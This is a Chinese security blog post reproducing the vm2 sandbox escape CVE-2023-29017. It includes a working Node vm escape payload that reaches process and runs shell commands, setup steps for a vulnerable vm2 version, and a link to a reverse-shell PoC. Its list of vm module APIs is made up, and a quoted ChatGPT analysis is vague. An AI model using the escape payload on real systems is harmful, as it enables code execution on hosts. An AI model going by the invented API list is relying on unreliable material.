【A9】最新沙箱逃逸漏洞复现

admin 2023年6月6日01:06:15评论31 views字数 5647阅读18分49秒阅读模式

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”


01

背景

      最近看到VM2新出了个沙箱逃逸的漏洞,于是去复现了一下。但是复现全程用着现成的poc,对原理却是知之甚少,于是对VM沙箱逃逸学习了一波。不足之处,妄各位大佬指正!


02

简介


     

Node.js

Node.js 是一个基于 V8 引擎的开源、跨平台的 JavaScript 运行环境,它可以在多个操作系统上运行,包括 Windows、macOS 和 Linux 等。Node.js 提供了一个运行在服务器端的 JavaScript 环境,使得开发者可以编写并发的、高效的服务器端应用程序。Node.js 使用事件驱动、非阻塞 I/O 模型来支持并发运行。它支持通过插件扩展 API,以及通过 npm(Node.js 包管理器) 安装其他插件和模块。Node.js 还提供了一些内置模块,如 http、fs、path 等,使得开发者可以快速构建网络应用程序和文件系统。

Npm

NPM的全称是Node Package Manager,是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准。NPM由三部分组成:网站,注册表(registry),命令行工具(CLI)。

简单来说, Node.js 就是运行在服务端的JavaScript,npm是随同Node.js一起安装的包管理工具,通过命令从npm服务器下载别人编写的第三方工具到本地使用。

VM

在 Node.js 中,VM(Virtual Machine) 是一个用于解释和执行 JavaScript 代码的引擎。VM 是一个沙箱 (sandbox),它允许 Node.js 在执行脚本时限制其访问系统资源的权限,以防止脚本执行恶意代码或访问不必要的系统资源。

VM2

由于vm不安全,能轻易地获取到了主程序的全局对象 process,造成沙箱逃逸,所以有了vm2。

vm2基于vm,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。


02

浅析沙箱逃逸

作用域

在 Node.js 中,作用域指的是变量和函数的命名空间。JavaScript 中没有全局变量,而是通过作用域链来维护变量的命名空间。


// 定义一个函数,它的作用域是内部函数  function outerFunction() {    function innerFunction() {      console.log("inner function is called");    }    innerFunction();    console.log("outer function is called");  }
// 外部函数调用内部函数 outerFunction();  


在这个示例代码中,innerFunction是在outerFunction内部创建的,因此它的命名空间与outerFunction相同。当innerFunction被调用时,它会输出"inner function is called",而outerFunction会被输出"outer function is called"。

另外,在 Node.js 中,函数可以作为参数传递给其他函数,这也可以通过作用域来实现。例如:

function outerFunction(innerFunction) {    console.log("outer function is called");    innerFunction();    console.log("inner function is called");  }
// 定义一个函数 function innerFunction() { console.log("inner function is called"); }
// 将 innerFunction 作为参数传递给 outerFunction outerFunction(innerFunction);  


在这个示例代码中,innerFunction作为参数传递给outerFunction,并且outerFunction会输出"outer function is called"和"inner function is called"。

全局对象

在JavaScript中window是全局对象,浏览器其他所有的属性都挂载在window下,那么在服务端的Nodejs中和window类似的全局对象叫做global,Nodejs下其他的所有属性和包都挂载在这个global对象下。在global下挂载了一些全局变量,我们在访问这些全局变量时不需要用global.xx的方式来访问,直接用xx就可以调用这个变量。比如,console就是挂载在global下的一个全局变量,我们在用console.log输出时并不需要写成global.console.log,其他常见全局变量还有process、error、object等。


举个例子方便理解全局对象(global)

在同一目录下创建两个js文件,1.js和2.js。在1.js内定义变量num,此时需要使用exports来导出num,使2.js模块可以调用;  执行2.js

//1.jsvar num = 10exports.num = mun
//2.jsconst n = require("./1")console.log(n.num)


【A9】最新沙箱逃逸漏洞复现


1.js 将声明变量num为全局变量,即将num挂载在global下,此时num在每个js模块都是共享的。所以在2.js中不需要再次赋予num属性,可以直接调用。

//1.jsglobal.num = 12
//2.jsconst a = require("./1")console.log(num)
那么我们是不是就可以把沙箱理解为在原本的作用域里创建一个新的作用域,而这个新的作用域与原作用域及其他作用域完全隔离,让代码在这个作用域执行。

VM沙箱逃逸


沙箱可以限制脚本访问文件系统、网络资源和操作系统权限等,以防止脚本执行恶意代码或访问不必要的系统资源,从而保护系统和用户的安全性。但是,如果脚本设计者不当使用沙箱,可能会导致沙箱逃逸 (sandbox escape)。逃逸后,脚本可以访问沙箱外的系统资源,从而对系统和用户造成潜在的威胁。

造成沙箱逃逸的原因:

1. 使用全局变量:如果脚本使用了全局变量,而不是沙箱中的变量,那么脚本可能会通过全局变量逃逸沙箱。

2. 使用不当的 API:使用不当的 API 也可能导致逃逸。例如,使用 process.exit() 或 require() 方法可能会使脚本脱离沙箱。

3. 漏洞:如果脚本存在漏洞,例如缓冲区溢出或 SQL 注入等,攻击者可以利用这些漏洞逃逸沙箱。


以下是一些常见的vm模块的API

1. vm.createUserProcess: 创建一个用户进程并返回一个 Process 对象。该函数接受两个参数:进程名称和进程密码。如果进程名称或密码无效,则该函数将抛出一个错误。

2. vm.runInNewContext: 将一个代码字符串运行在一个新的上下文中。该函数接受一个代码字符串和一个可选的环境变量列表。如果环境变量列表为空,则该函数将使用默认的环境变量。

3. vm.exportSymbol: 将一个 Symbol 对象导出到当前进程中。该函数接受一个 Symbol 对象。

4. vm.importSymbol: 将一个 Symbol 对象导入到当前进程中。该函数接受一个 Symbol 对象。

5. vm.createShell: 创建一个虚拟终端,允许用户在其中运行命令。该函数接受一个可选的环境变量列表和一个可选的命令字符串。如果环境变量列表为空,则该函数将使用默认的环境变量。

6. vm.runScript: 运行一个 JavaScript 字符串。该函数接受一个字符串和一个可选的环境变量列表。如果环境变量列表为空,则该函数将使用默认的环境变量。

7. vm.injectScript: 在指定的文件中注入一个 JavaScript 字符串。该函数接受一个文件路径和一个字符串。


在 Node.js 中,进行代码执行通常需要用到process对象。在获取到process对象后就可以用require来导入child_process,再利用child_process来执行命令。process是挂载在global上的,然而在creatContext 后是不能访问到global的,所以 沙箱逃逸最后 执行rce 简单来说就是通过各种办法将global上的 process 引入到沙箱中,使代码在沙箱外执行。

例子

举个y1zh3e7师傅的例子方便大家理解。以下这段代码应该怎么逃逸?

const vm = require('vm');const script = `"world !"`;const sandbox = Object.create(null);const context = vm.createContext(sandbox);const res = vm.runInContext(script, context);console.log('Hello ' + res)


【A9】最新沙箱逃逸漏洞复现


以下是沙箱逃逸的poc


const vm = require('vm');const script = `(() => {            const a = {}            a.toString = function () {                  const cc = arguments.callee.caller;                  const p = (cc.constructor.constructor('return process'))();                  return p.mainModule.require('child_process').execSync('whoami').toString()          }               return a   })()`;const sandbox = Object.create(null);const context = new vm.createContext(sandbox);const res = vm.runInContext(script, context);console.log('Hello ' + res)


【A9】最新沙箱逃逸漏洞复现


沙箱内先创建了一个对象,并且将这个对象的toString方法进行了重写,通过arguments.callee.caller获得到沙箱外的一个对象,利用这个对象的构造函数的构造函数返回了process,再调用process进行rce,沙箱外在console.log中通过字符串拼接的方式触发了这个重写后的toString函数。

03

CVE-2023-29017  POC 分析

Poc:

【A9】最新沙箱逃逸漏洞复现

不好意思哈,由于某些原因,poc 先码住QAQ ,大家可以看一下下面这个仓库的poc(跟我用的不一样)

https://github.com/Kaneki-hash/CVE-2023-29017-reverse-shell


大家也可以通过下面这位工程师的分析来推一下(狗头保命)。


ChatGPT工程师的分析:


在 JavaScript 中,当执行异步操作时,如果发生错误,错误信息通常会被包装成一个 Error 对象,并传递给回调函数。如果沙箱规则被违反,例如在沙箱内部调用了非沙箱函数,则可能会导致异步传输错误。
该代码中定义了一个 Error.prepareStackTrace 函数,该函数修改了 Error 对象的 StackTrace 属性,以便在错误发生时逃逸沙箱。接着,该代码使用 async / await 关键字定义了一个异步函数,并将其传递给 VM 模块中的 run 方法。这个方法将在vm2中运行该异步函数,从而使其能够逃逸沙箱。
由于该异步函数使用了 return process 语句,它将返回 process 对象的实例。这个实例将被用于创建新的 frames 对象。frames 对象的构造函数将返回 process 对象的实例,这意味着 frames 对象将具有沙箱逃逸的能力。最后,异步函数调用了 mainModule.require('child_process').execSync(') 来执行一个异步操作,这将在虚拟机之外执行,从而允许代码在沙箱之外运行。

04

CVE-2023-29017  - VM2沙箱逃逸漏洞复现
一、漏洞详情
当出现异步传输错误时,被传递给 “Error.prepareStackTrace”  函数的主机对象处理不当。利用该漏洞可导致沙箱防护措施被绕过,并获得对主机的远程代码执行权限。攻击者可绕过沙箱防护措施,在运行该沙箱的主机上获得远程代码执行权限。
二、影响范围

VM2 3.9.14 及更早版本

三、环境搭建

centos7为例,安装nodejs ,安装vm2受影响版本[email protected]

sudo yum install epel-releasesudo yum install nodejsnpm install vm2@3.9.14


四、漏洞复现
1、使用poc 创建一个 js 文件

vim 1.js


【A9】最新沙箱逃逸漏洞复现

2、vps开启监听

【A9】最新沙箱逃逸漏洞复现


3、执行 1.js


node 1.js


【A9】最新沙箱逃逸漏洞复现


【A9】最新沙箱逃逸漏洞复现


命令执行成功!
五、修复建议

漏洞在新版本 3.9.15 中修复,将vm2升级至[email protected]

05


参考链接

https://xz.aliyun.com/t/11859

https://www.bleepingcomputer.com/news/security/exploit-available-for-critical-bug-in-vm2-javascript-sandbox-library/

https://blog.csdn.net/m0_62063669/article/details/125441529

https://nodejs.org/zh-cn/docs/guides/getting-started-guide

https://github.com/Kaneki-hash/CVE-2023-29017-reverse-shell









原文始发于微信公众号(A9 Team):【A9】最新沙箱逃逸漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月6日01:06:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【A9】最新沙箱逃逸漏洞复现https://cn-sec.com/archives/1709057.html

发表评论

匿名网友 填写信息